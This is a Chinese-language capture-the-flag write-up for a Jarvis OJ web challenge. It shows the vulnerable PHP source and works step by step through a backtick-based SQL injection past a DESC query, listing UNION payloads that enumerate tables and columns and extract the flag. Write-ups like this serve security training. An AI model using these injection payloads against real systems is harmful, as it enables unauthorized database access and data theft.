flag{luckyGame~}
描述
题目入口:http://web.jarvisoj.com:32794/。HINT1:先找到源码再说吧~~
分析
- 盲狙http://web.jarvisoj.com:32794/index.php~发现是可以的(我可真是个神枪手),拿到源码
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
执行了几条来观察filter。?table=test' 得到 Hello Hacker 的嘲讽。desc要执行成功,然后才能从后面的select语句注入。
-
仔细一看用的是`而不是'……然后搜了下场外:
a. {DESCRIBE | DESC} tbl_name [col_name | wild],DESCRIBE is a shortcut for SHOW COLUMNS. These statements also display information for views. The description for SHOW COLUMNS provides more information about the output columns. 简单来说就是desc tbl_name 显示列的信息。效果如下:
b. sql中,两个` `用来标记表名、列名、别名等,用这个框起来就不用再用空格等作为分隔符了。
于是开始用反引号来试着注入。
?table=test` `union select 1 #1
?table=test` `union select 1,2 #D,估计select执行出错的提示就是D吧-。-
?talbe=test` `union select 1 limit 1,1 #1
#其执行逻辑为:
desc `secret_test` `union select 1 limit 1,1`
#执行成功,`union select 1 limit 1,1`作为wild参数,返回empty set
mysqli_query($mysqli,"desc `secret_test` `union select 1 limit 1,1`") or Hacker();
#mysql语句不报错,不执行hacker()
select 'flag{xxx}' from secret_test` `union select 1 limit 1,1
#执行成功,` `在此处相当于as 空格
- 开始注入
- step1:测试注入
?table=test` `union select user() limit 1,1
#ctf@localhost
- step2:找表
?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
#secret_flag,secret_test
- step3:找列
?table=test` `union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1
#flagUwillNeverKnow,username
- step4:找值
?table=test` `union select group_concat(flagUwillNeverKnow,username) from secret_flag limit 1,1
#D
?table=test` `union select group_concat(username) from secret_flag limit 1,1
#D
?table=test` `union select group_concat(username) from secret_test limit 1,1
#admin
?table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1
#flag{luckyGame~}
emmm,在最后一步稍微卡了一下,后来反应过来flag表有flagUwillNeverKnow的列,test表有username的列,所以在一起group_concat是不对的……不好意思,流水线习惯了()
总结
- desc相关的注入参见:
http://www.yulegeyu.com/2017/04/16/%E5%BD%93%E8%A1%A8%E5%90%8D%E5%8F%AF%E6%8E%A7%E7%9A%84%E6%B3%A8%E5%85%A5%E9%81%87%E5%88%B0%E4%BA%86Describe%E6%97%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%83%85%E5%86%B5%E3%80%82/
。
通过输入test` `union select 1 limit 1,1来构造实现:
a. desc `secret_test` `union select 1 limit 1,1` 执行成功
b. select 'flag{xxx}' from secret_test` `union select 1 limit 1,1 查询注入
的反引号组合套路存一下!